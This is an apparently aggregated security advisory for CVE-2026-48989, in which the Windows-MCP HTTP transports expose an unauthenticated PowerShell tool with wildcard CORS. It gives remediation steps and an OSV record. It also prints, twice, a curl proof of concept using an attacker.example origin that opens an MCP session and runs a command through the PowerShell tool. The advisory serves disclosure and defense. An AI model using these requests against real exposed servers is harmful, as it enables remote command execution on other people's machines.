CVE-2026-48989: Windows-MCP HTTP Transports Expose Unauthenticated PowerShell Vulnerability

HIGH
Advisory Identifier: GHSA-vrxg-gm77-7q5g
CWE-306
Published
Advisory Summary

CVE-2026-48989 is a HIGH http transports expose unauthenticated powershell vulnerability (CWE-306: Missing Authentication for Critical Function) affecting Windows-MCP libraries in the PyPI ecosystem. The issue involves http transports expose unauthenticated powershell control with wildcard cors. Remediation is available by upgrading affected packages to version 0.7.5.

CVE-2026-48989 at a Glance

CVE Identifier CVE-2026-48989
GHSA Identifier GHSA-vrxg-gm77-7q5g
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-306: Missing Authentication for Critical Function
Affected Product Windows-MCP
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2026-48989

To remediate this vulnerability, upgrade all affected Windows-MCP dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

windows-mcp fixed: 0.7.5
pip install windows-mcp>=0.7.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show windows-mcp

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-48989, inspect your installed packages using pip:

pip show windows-mcp

Analyze the terminal output to locate any version of Windows-MCP in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.7.5), your application is affected.

Note: The pip show windows-mcp command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-306: Missing Authentication for Critical Function, where the product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. In Windows-MCP, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

HTTP transports expose unauthenticated PowerShell control with wildcard CORS There is an issue in the SSE and Streamable HTTP transport modes. The default stdio mode is not affected, but the documented HTTP modes expose the MCP control plane without authentication and add wildcard CORS handling around it. The same server exposes the `PowerShell` tool, which executes caller-controlled commands as the Windows user running Windows-MCP. Relevant source: - `src/windows_mcp/__main__.py:37-42`: `_http_middleware()` installs `OptionsMiddleware` and `CORSMiddleware` with `allow_origins=["*"]`, `allow_methods=["*"]`, and `allow_headers=["*"]`. - `src/windows_mcp/__main__.py:45-72`: `OptionsMiddleware` responds to every `OPTIONS` request with wildcard `Access-Control-Allow-Origin`, `Access-Control-Allow-Methods`, and `Access-Control-Allow-Headers`. - `src/windows_mcp/__main__.py:75-113`: `_build_mcp()` constructs `FastMCP(name="windows-mcp", ...)` without an auth provider. - `src/windows_mcp/__main__.py:139-151`: both `sse` and `streamable-http` call `mcp.run(...)` with that middleware and no application-level auth/security settings. - `src/windows_mcp/tools/shell.py:10-24`: registers the `PowerShell` tool and passes caller-controlled `command` to `PowerShellExecutor.execute_command`. - `src/windows_mcp/desktop/powershell.py:176-204`: executes that command through PowerShell `-EncodedCommand`. - `README.md:421-424` and `433-434`: documents the HTTP transports and describes Streamable HTTP as network-accessible HTTP streaming. In an affected configuration, a client that can reach `http://localhost:8000/mcp` can initialize an MCP session and invoke `tools/call` for `PowerShell`. The issue is not just that PowerShell is powerful; it is that the HTTP control plane around that tool is unauthenticated and configured with wildcard CORS. ## Root cause The HTTP transport entry points compose two independent design decisions that fail-open together: the FastMCP instance is built without any authentication provider, and the middleware stack installs blanket wildcard CORS (`allow_origins=*`, `allow_methods=*`, `allow_headers=*`) that explicitly permits cross-origin browsers and any non-browser HTTP client to reach the MCP control plane. Either one alone would be a partial defense; together, the unauthenticated control plane is reachable from arbitrary origins, with no host-validation, no token check, and no DNS-rebinding mitigation between an attacker's request and the registered `PowerShell` tool. The structural fix is to require an auth provider (token, mTLS, or local-only secret handshake) on the HTTP transports and to scope CORS to a specific operator-configured allowlist rather than applying wildcard policy to a tool surface that includes shell execution. ## Auth boundary violated **Boundary:** Network trust domain (an unauthenticated remote/cross-origin caller is treated as if it were a trusted local MCP client with rights to invoke privileged shell tools). **Respected at:** stdio transport path (`src/windows_mcp/__main__.py` stdio branch) — the default transport relies on parent-process pipe ownership for caller identity, which is a real OS-level boundary. **Violated at:** `src/windows_mcp/__main__.py:139-151` (SSE and Streamable HTTP branches call `mcp.run(...)` with the wildcard-CORS middleware installed at `:37-42` and no auth provider attached at `:75-113`). The boundary is silently dropped: there is no code path between the inbound HTTP request and `tools/call` for `PowerShell` (`src/windows_mcp/tools/shell.py:10-24` → `src/windows_mcp/desktop/powershell.py:176-204`) that asserts caller identity or origin. Minimal protocol proof from a matching FastMCP 3.2.4 harness with the same middleware posture: ```text $ curl -i -s -X OPTIONS 'http://127.0.0.1:18123/mcp/' \ -H 'Origin: https://attacker.example' \ -H 'Access-Control-Request-Method: POST' \ -H 'Access-Control-Request-Headers: content-type,mcp-session-id' HTTP/1.1 200 OK access-control-allow-origin: * access-control-allow-methods: * access-control-allow-headers: * $ curl -i -s 'http://127.0.0.1:18123/mcp' \ -H 'Origin: https://attacker.example' \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ --data '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"evil-page","version":"1"}}}' HTTP/1.1 200 OK content-type: text/event-stream mcp-session-id: c67be0098b7643eb961b2fd0185ee043 access-control-allow-origin: * $ curl -i -s 'http://127.0.0.1:18123/mcp' \ -H 'Origin: https://attacker.example' \ -H 'Mcp-Session-Id: c67be0098b7643eb961b2fd0185ee043' \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ --data '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"PowerShell","arguments":{"command":"calc.exe","timeout":30}}}' HTTP/1.1 200 OK content-type: text/event-stream mcp-session-id: c67be0098b7643eb961b2fd0185ee043 access-control-allow-origin: * event: message data: {"jsonrpc":"2.0","id":2,"result":{"content":[{"type":"text","text":"executed: calc.exe"}],"structuredContent":{"result":"executed: calc.exe"},"isError":false}} ``` ## Impact For affected HTTP-transport deployments, successful exploitation gives arbitrary PowerShell execution as the user running Windows-MCP. There is an important browser caveat: current Chrome/Edge Local Network Access / Private Network Access behavior may block or prompt for public-site-to-localhost requests because this middleware does not return `Access-Control-Allow-Private-Network: true`. The exposure still applies to same-origin/private-origin contexts, browsers or apps without that enforcement, user-approved local-network prompts, browser extensions, and non-browser HTTP clients. Suggested fix: require authentication for HTTP transports, remove wildcard CORS from MCP control endpoints, restrict origins to explicit trusted clients, and enable/propagate transport security settings such as host validation. If unauthenticated HTTP is retained for development, I would make it an explicit unsafe flag and add regression tests for cross-origin `OPTIONS`, `initialize`, and `tools/call`.

CVE-2026-48989 Affected Windows-MCP Versions

1 component(s)
Fixed Versions:
0.7.5
Product / Package Ecosystem Affected Versions Fixed Version
windows-mcp
PyPI
< 0.7.5
0.7.5

References

Frequently Asked Questions

What is CVE-2026-48989?
CVE-2026-48989 is a security vulnerability in Windows-MCP involving HTTP transports expose unauthenticated PowerShell control with wildcard CORS under CWE-306: Missing Authentication for Critical Function.
Which Windows-MCP versions are affected?
Affected versions include releases prior to 0.7.5 across affected packages: windows-mcp.
What version fixes CVE-2026-48989?
Upgrading to 0.7.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is windows-mcp affected?
Yes, windows-mcp is affected in releases prior to 0.7.5. Upgrade your dependency to 0.7.5 or later.
What CWE is associated with CVE-2026-48989?
CVE-2026-48989 is classified under CWE-306: Missing Authentication for Critical Function (The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.).
How can I check PyPI dependencies for CVE-2026-48989?
Run the dependency tree command: 'pip show windows-mcp'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vrxg-gm77-7q5g",
  "modified" : "2026-07-09T21:06:20Z",
  "published" : "2026-05-21T16:46:02Z",
  "aliases" : [ "CVE-2026-48989" ],
  "summary" : "Windows-MCP: HTTP transports expose unauthenticated PowerShell control with wildcard CORS",
  "details" : "HTTP transports expose unauthenticated PowerShell control with wildcard CORS\n\nThere is an issue in the SSE and Streamable HTTP transport modes. The default stdio mode is not affected, but the documented HTTP modes expose the MCP control plane without authentication and add wildcard CORS handling around it. The same server exposes the `PowerShell` tool, which executes caller-controlled commands as the Windows user running Windows-MCP.\n\nRelevant source:\n\n- `src/windows_mcp/__main__.py:37-42`: `_http_middleware()` installs `OptionsMiddleware` and `CORSMiddleware` with `allow_origins=[\"*\"]`, `allow_methods=[\"*\"]`, and `allow_headers=[\"*\"]`.\n- `src/windows_mcp/__main__.py:45-72`: `OptionsMiddleware` responds to every `OPTIONS` request with wildcard `Access-Control-Allow-Origin`, `Access-Control-Allow-Methods`, and `Access-Control-Allow-Headers`.\n- `src/windows_mcp/__main__.py:75-113`: `_build_mcp()` constructs `FastMCP(name=\"windows-mcp\", ...)` without an auth provider.\n- `src/windows_mcp/__main__.py:139-151`: both `sse` and `streamable-http` call `mcp.run(...)` with that middleware and no application-level auth/security settings.\n- `src/windows_mcp/tools/shell.py:10-24`: registers the `PowerShell` tool and passes caller-controlled `command` to `PowerShellExecutor.execute_command`.\n- `src/windows_mcp/desktop/powershell.py:176-204`: executes that command through PowerShell `-EncodedCommand`.\n- `README.md:421-424` and `433-434`: documents the HTTP transports and describes Streamable HTTP as network-accessible HTTP streaming.\n\nIn an affected configuration, a client that can reach `http://localhost:8000/mcp` can initialize an MCP session and invoke `tools/call` for `PowerShell`. The issue is not just that PowerShell is powerful; it is that the HTTP control plane around that tool is unauthenticated and configured with wildcard CORS.\n\n## Root cause\n\nThe HTTP transport entry points compose two independent design decisions that fail-open together: the FastMCP instance is built without any authentication provider, and the middleware stack installs blanket wildcard CORS (`allow_origins=*`, `allow_methods=*`, `allow_headers=*`) that explicitly permits cross-origin browsers and any non-browser HTTP client to reach the MCP control plane. Either one alone would be a partial defense; together, the unauthenticated control plane is reachable from arbitrary origins, with no host-validation, no token check, and no DNS-rebinding mitigation between an attacker's request and the registered `PowerShell` tool. The structural fix is to require an auth provider (token, mTLS, or local-only secret handshake) on the HTTP transports and to scope CORS to a specific operator-configured allowlist rather than applying wildcard policy to a tool surface that includes shell execution.\n\n## Auth boundary violated\n\n**Boundary:** Network trust domain (an unauthenticated remote/cross-origin caller is treated as if it were a trusted local MCP client with rights to invoke privileged shell tools).\n\n**Respected at:** stdio transport path (`src/windows_mcp/__main__.py` stdio branch) — the default transport relies on parent-process pipe ownership for caller identity, which is a real OS-level boundary.\n\n**Violated at:** `src/windows_mcp/__main__.py:139-151` (SSE and Streamable HTTP branches call `mcp.run(...)` with the wildcard-CORS middleware installed at `:37-42` and no auth provider attached at `:75-113`). The boundary is silently dropped: there is no code path between the inbound HTTP request and `tools/call` for `PowerShell` (`src/windows_mcp/tools/shell.py:10-24` → `src/windows_mcp/desktop/powershell.py:176-204`) that asserts caller identity or origin.\n\nMinimal protocol proof from a matching FastMCP 3.2.4 harness with the same middleware posture:\n\n```text\n$ curl -i -s -X OPTIONS 'http://127.0.0.1:18123/mcp/' \\\n  -H 'Origin: https://attacker.example' \\\n  -H 'Access-Control-Request-Method: POST' \\\n  -H 'Access-Control-Request-Headers: content-type,mcp-session-id'\n\nHTTP/1.1 200 OK\naccess-control-allow-origin: *\naccess-control-allow-methods: *\naccess-control-allow-headers: *\n\n$ curl -i -s 'http://127.0.0.1:18123/mcp' \\\n  -H 'Origin: https://attacker.example' \\\n  -H 'Content-Type: application/json' \\\n  -H 'Accept: application/json, text/event-stream' \\\n  --data '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2025-06-18\",\"capabilities\":{},\"clientInfo\":{\"name\":\"evil-page\",\"version\":\"1\"}}}'\n\nHTTP/1.1 200 OK\ncontent-type: text/event-stream\nmcp-session-id: c67be0098b7643eb961b2fd0185ee043\naccess-control-allow-origin: *\n\n$ curl -i -s 'http://127.0.0.1:18123/mcp' \\\n  -H 'Origin: https://attacker.example' \\\n  -H 'Mcp-Session-Id: c67be0098b7643eb961b2fd0185ee043' \\\n  -H 'Content-Type: application/json' \\\n  -H 'Accept: application/json, text/event-stream' \\\n  --data '{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"PowerShell\",\"arguments\":{\"command\":\"calc.exe\",\"timeout\":30}}}'\n\nHTTP/1.1 200 OK\ncontent-type: text/event-stream\nmcp-session-id: c67be0098b7643eb961b2fd0185ee043\naccess-control-allow-origin: *\n\nevent: message\ndata: {\"jsonrpc\":\"2.0\",\"id\":2,\"result\":{\"content\":[{\"type\":\"text\",\"text\":\"executed: calc.exe\"}],\"structuredContent\":{\"result\":\"executed: calc.exe\"},\"isError\":false}}\n```\n\n## Impact\n\nFor affected HTTP-transport deployments, successful exploitation gives arbitrary PowerShell execution as the user running Windows-MCP. There is an important browser caveat: current Chrome/Edge Local Network Access / Private Network Access behavior may block or prompt for public-site-to-localhost requests because this middleware does not return `Access-Control-Allow-Private-Network: true`. The exposure still applies to same-origin/private-origin contexts, browsers or apps without that enforcement, user-approved local-network prompts, browser extensions, and non-browser HTTP clients.\n\nSuggested fix: require authentication for HTTP transports, remove wildcard CORS from MCP control endpoints, restrict origins to explicit trusted clients, and enable/propagate transport security settings such as host validation. If unauthenticated HTTP is retained for development, I would make it an explicit unsafe flag and add regression tests for cross-origin `OPTIONS`, `initialize`, and `tools/call`.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "windows-mcp"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.7.5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/CursorTouch/Windows-MCP/security/advisories/GHSA-vrxg-gm77-7q5g"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-48989"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/CursorTouch/Windows-MCP"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/CursorTouch/Windows-MCP/releases/tag/v0.7.5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-306" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-21T16:46:02Z",
    "nvd_published_at" : "2026-06-17T22:16:23Z"
  }
}